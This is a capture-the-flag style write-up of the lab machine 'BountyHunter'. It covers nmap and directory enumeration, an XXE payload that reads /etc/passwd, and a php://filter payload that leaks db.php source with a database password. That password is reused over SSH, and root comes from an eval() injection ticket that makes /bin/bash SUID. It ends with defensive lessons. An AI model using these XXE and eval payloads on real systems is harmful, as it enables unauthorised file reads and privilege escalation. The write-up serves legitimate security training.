BountyHunter
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. BountyHunter is an easy Linux box with a form that submits data as XML without sanitisation. That enables an XML External Entity (XXE) injection reading system files; with thephp://filterwrapper we extractdb.php's source and, with it, a password. That password works by reuse to log in over SSH asdevelopment. Forroot, asudoover a Python ticket validator that runseval()on user input lets us execute arbitrary code and SUID/bin/bash.
Recon
Ping
We start with a ping to confirm the host is up and check the TTL, which hints at the OS (≈64 Linux, ≈128 Windows).
ping 10.10.11.100
64 bytes from 10.10.11.100: icmp_seq=1 ttl=63 time=203 ms
^C
--- 10.10.11.100 ping statistics ---
4 packets transmitted, 1 received, 75% packet loss, time 3028msTTL 63 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 63 = 64−1; a hint, not proof (it can be spoofed), confirmed by the service scan.
The 75% packet loss is worth noting: one reply out of four, at 203 ms. The host isn't flaky, the lab VPN is. That detail justifies -Pn on the scans: if nmap had to decide whether the host is alive from a ping that unreliable, it could drop it before scanning anything.
Port scan
A SYN scan over all 65535 ports leaves the smallest possible surface:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.100 -oG scan
Not shown: 50909 filtered tcp ports (no-response), 14624 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Raw packets sent: 123090 (5.416MB) | Rcvd: 18547 (741.888KB)Only two ports, and that scarcity is information in itself: no SMB, no databases, no auxiliary services, so the entry vector has to live on 80, because against an up-to-date SSH with no credentials there is nothing to do.
The Not shown line deserves a read. The non-open ports split into two categories: 50909 filtered (no-response) and 14624 closed (reset). Both coexisting points to selective filtering in front of the host: most ports get no answer at all (packets silently dropped) while others return a clean RST. The syn-ack ttl 63 in the REASON column also confirms the reply comes from the same hop as the ping.
A -sCV on those two pins the versions:
extractPorts, a .zshrc function, boils the -oG file down and leaves the ports on the clipboard:
extractPorts scan
Extracting information ...
IP Address: 10.10.11.100
Open ports: 22,80
Ports copied to clipboardnmap -p22,80 -sCV 10.10.11.100
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOpenSSH 8.2p1 and Apache 2.4.41 are the stock versions shipped with Ubuntu 20.04, neither remotely exploitable. Meaning neither is the way in: the flaw will be in the application Apache serves, not in Apache.
TCP 80 - Web enumeration
whatweb describes an ordinary static site:
whatweb 10.10.11.100
http://10.10.11.100 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.100], JQuery, Script,
Title[Bounty Hunters]Wappalyzer agrees and adds nothing new:

There's a telling absence here: not one tool mentions PHP. The template is Bootstrap with jQuery, i.e. static HTML, and yet the whole box will end up revolving around .php files. A reminder that these fingerprinters read client-side headers and signatures, not server-side content.
A dirsearch sweep finds the first thread:
dirsearch -u http://10.10.11.100/ --exclude-status=403,404
[00:00:35] 301 - 309B - /js -> http://10.10.11.100/js/
[00:00:58] 301 - 313B - /assets -> http://10.10.11.100/assets/
[00:01:05] 301 - 310B - /css -> http://10.10.11.100/css/
[00:01:06] 200 - 0B - /db.php
[00:01:31] 301 - 316B - /resources -> http://10.10.11.100/resources//db.php returns 200 with 0 bytes. That combination is exactly what we want: the file exists (it's not a 404) but prints nothing. A db.php producing no output is, almost certainly, a configuration file that only defines variables and gets included elsewhere. And the variables in a db.php are, by definition, database credentials.
The same sweep with gobuster makes an instructive contrast:
gobuster dir -u http://10.10.11.100 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -b 404
/assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/]
/resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/]
/server-status (Status: 403) [Size: 277]Gobuster does not find db.php. Not a flaw in the tool or the wordlist: it was launched without -x php, so it never requested that extension. dirsearch includes it by default (php, aspx, jsp, html, js shows in its header) and that's why it hit the file. The practical takeaway is that two fuzzers against the same target can return incompatible results over a single flag, and it pays to check which extensions each one tried before trusting a negative.
Opening db.php in the browser confirms what the 0B said:

Blank page. The server executes the PHP and returns its output, which is empty, instead of showing the code. That's the problem to solve later: we need a way to read the file without it going through the interpreter. Noted.
The portal the fuzzers missed
Neither tool returned anything beyond the asset directories, so it's time to do what a fuzzer doesn't: read the page. The home page source shows it right in the navigation bar:

<li class="nav-item"><a class="nav-link" href="#about">About</a></li>
<li class="nav-item"><a class="nav-link" href="#contact">Contact</a></li>
<li class="nav-item"><a class="nav-link" href="portal.php">Portal</a></li>portal.php, linked in plain sight in the menu, and absent from both fuzzers' output. It's the cheapest lesson in the whole box: linked content doesn't need guessing, and a dictionary sweep never replaces reading the HTML.

The portal is a single line, and it even announces its own state:

Portal under development. Go here to test the bounty tracker.Under development. That notice is the best hint on the box: half-finished code, unreviewed and unhardened. The link leads to log_submit.php, a four-field form that, on submit, reflects what you typed and warns the database isn't ready yet:

Bounty Report System - Beta
If DB were ready, would have added:
Title: test
CWE: test
Score: test
Reward: testData coming back reflected invites trying XSS, and that was the first attempt: <script>alert("hola")</script> in all four fields. Nothing executes, the browser receives the text inside a table cell and paints it as-is. But that failed attempt is the one that opens the box, because checking it requires intercepting the request:

POST /tracker_diRbPr00f314.php HTTP/1.1
Host: 10.10.11.100
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4...Three findings from a single capture. First, the form doesn't submit to log_submit.php: there's an AJAX call (X-Requested-With: XMLHttpRequest) to an unguessable endpoint, tracker_diRbPr00f314.php, that no wordlist was ever going to find. Second, everything travels in a single data parameter encoded in Base64. And third, decoding it reveals what actually matters:
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title><script>alert("hola")</script></title>
<cwe><script>alert("hola")</script></cwe>
<cvss><script>alert("hola")</script></cvss>
<reward><script>alert("hola")</script></reward>
</bugreport>The server processes XML. The PD94bWwg prefix on the Base64 gave it away even before decoding: those are the characters <?xml encoded, and it pays to recognise these signatures at a glance (PD9waHA is <?php, PK is a ZIP). A Base64 parameter starting with PD94bWwg is an XML document in disguise, and at that point XSS stops being the interesting attack.
Access as development
XXE in the bug-report form
Data travelling as server-processed XML invites trying XML External Entity (XXE): we declare an external entity pointing to a local file and reference it in a reflected field. After Base64-decoding, the body looks like this, and the &myFile; entity is substituted with the file's contents:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>x</cwe><cvss>x</cvss><reward>x</reward>
</bugreport>Resending the request (with the XML re-encoded to Base64), the response leaks /etc/passwd: XXE confirmed.

Out of Burp: the same attack from the terminal
Burp is good for discovering the vector, but iterating on it (trying paths, tweaking the payload, filtering output) is far more comfortable in a shell. The payload lives in a file, gets encoded on the fly and goes out with curl. First it's worth verifying the Base64 round trip, because one extra newline breaks the XML and the failure gets mistaken for "the vulnerability isn't there":
cat xml.xml
echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d
$ cat xml.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>hola</cwe>
<cvss>hola</cvss>
<reward>hola</reward>
</bugreport>
$ echo -ne "PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4..." | base64 -d
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<bugreport>
<title>&myFile;</title>
<cwe>hola</cwe>
<cvss>hola</cvss>
<reward>hola</reward>
</bugreport>With the round trip clean, the whole request fits in three lines:
data=$(cat xml.xml | base64)
curl -X POST http://10.10.11.100/tracker_diRbPr00f314.php \
--data-urlencode "data=$data" --compressed | grep '/bin/bash'
<td>root:x:0:0:root:/root:/bin/bash
development:x:1000:1000:Development:/home/development:/bin/bashTwo details in that line. --data-urlencode is mandatory, not cosmetic: Base64 uses + and =, which inside an application/x-www-form-urlencoded body mean "space" and "separator", so without escaping a corrupted payload would arrive. And the grep '/bin/bash' isn't for convenience, it's the filter that turns a forty-line /etc/passwd into the only useful fact: of every account on the system, only root and development have an interactive shell. A user called development on a box whose portal announces it is under development is the obvious target.
php://filter to read db.php's source
/etc/passwd confirms the vector but yields no credentials. The real target is db.php: if we could read its source, it would likely hold the database credentials. The catch is that requesting the .php file directly would make the server execute it instead of showing it. The fix is the php://filter wrapper, which applies a transform (Base64) to the file before inclusion, so we get the encoded source rather than its output:
<!DOCTYPE foo [<!ENTITY myFile SYSTEM
"php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>The /var/www/html/db.php path isn't guessed, it's deduced: db.php hangs off the web root (dirsearch said so) and /var/www/html is Apache's default DocumentRoot on Debian and Ubuntu, which is exactly the distribution the -sCV declared.

If DB were ready, would have added:
<td>Title:</td>
<td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgok...</td>
<td>CWE:</td><td>hola</td>The blob starts with PD9waHA, which is <?php in Base64: the sign that this time code came back, not the empty output from before. Decoding it yields the whole file:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>The file confirms what the 0B suggested: five assignments and nothing else, not a single line that prints. And that // TODO -> Implement login system with the database. closes the loop with the portal's under development: the credentials were written for a login system that was never built. Nobody ever used them, nobody rotated them, and there they still are.
Credential reuse over SSH
The earlier grep '/bin/bash' had already left development as the only candidate with a shell. The database password is exactly the kind of secret people reuse, and there's an extra reason to believe it here: if the login was never implemented, that key never became "the application's", it stayed the one its author had in mind. We try it over SSH:
ssh development@10.10.11.100
It works, and we read the first flag:
development@bountyhunter:~$ cat /home/development/user.txt
38551240e37b5002363587b271136a69Shell as root
sudo over a Python ticket validator
development's home has a contract.txt mentioning a Skytrain Inc "internal tool" whose tickets fail validation. The clue leads to sudo -l:

User development may run the following commands on bountyhunter:
(root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.pyWe can run that script as root without a password. We read its code:

The script reads a .md file and validates a ticket in steps: the first line must be # Skytrain Inc, the second ## Ticket to, and there must be a __Ticket Code:__ line. The next line is the ticket code, and here's the flaw:
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return TrueThe script passes the line through eval(), which evaluates arbitrary Python. It only requires the leading number to satisfy % 7 == 4. Key connection: if we control that line, we control what eval() runs (eval injection).
eval() to SUID on /bin/bash
We craft a ticket that passes validation and sneaks in an os.system call. 109 satisfies 109 % 7 == 4, then a + and the payload; eval() runs the sum and the command, which SUIDs /bin/bash:
# Skytrain Inc
## Ticket to Rootville
__Ticket Code:__
**109+__import__('os').system('chmod u+s /bin/bash')**We launch the validator as root and, once /bin/bash is SUID, bash -p keeps root's EUID:
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
bash -p
bash-5.0# id
uid=1000(development) gid=1000(development) euid=0(root) groups=1000(development)
bash-5.0# cat /root/root.txt
7a20e044a495cf531cd24deb956480c0Attack chain
Bug-report form (XML, :80)
│ XXE → read system files
▼
php://filter → db.php source → password m19RoAU0hP41A1sTsq6K
│ credential reuse over SSH
▼
shell as development → user.txt
│ sudo NOPASSWD ticketValidator.py → eval() on the ticket
▼
**109+__import__('os').system('chmod u+s /bin/bash')** → bash -p → root → root.txtLessons learned
- Processing XML without disabling external entities is XXE. The parser resolved a
SYSTEMentity and read server files. Disable external-entity resolution (libxml_disable_entity_loader, safe parsers) on any XML input. php://filterturns an LFI/XXE into source-code theft. Requesting a.phpdirectly executes it; the Base64 wrapper hands over its source and, with it, embedded secrets like DB credentials.- Don't reuse passwords across services. The database key opened SSH. Each account and service should have its own secret (credential reuse).
eval()on user input is RCE. The validator trusted an arithmetic operation, buteval()runs any Python. Useast.literal_evalor a bounded arithmetic parser, nevereval()on external data (eval injection).- A fuzzer is no substitute for reading the HTML. Neither
dirsearchnorgobusterreturnedportal.php, which was linked in plain sight in the home page menu, and the real endpoint (tracker_diRbPr00f314.php) was flatly unguessable: it only surfaced by intercepting the request. Wordlists cover what's hidden; source code and a proxy cover what the application is telling you. - Two fuzzers can contradict each other over a single flag.
dirsearchfounddb.phpandgobusterdidn't, because the latter ran without-x php. Before accepting a negative result, check which extensions the tool tried. - The failed attempt is what opened the box. The XSS executed nothing, but checking that required intercepting the submission, and that's where the Base64
data=with XML inside appeared. Learning to read Base64 signatures (PD94bWwg=<?xml,PD9waHA=<?php) saves a decoding step just to know what you're looking at. - "Under development" is an attack surface. The portal announced it and the
// TODOindb.phpconfirmed it: a half-written login left real credentials in a config file nobody touched again. Unfinished code rarely gets reviewed, and almost never gets its secrets rotated.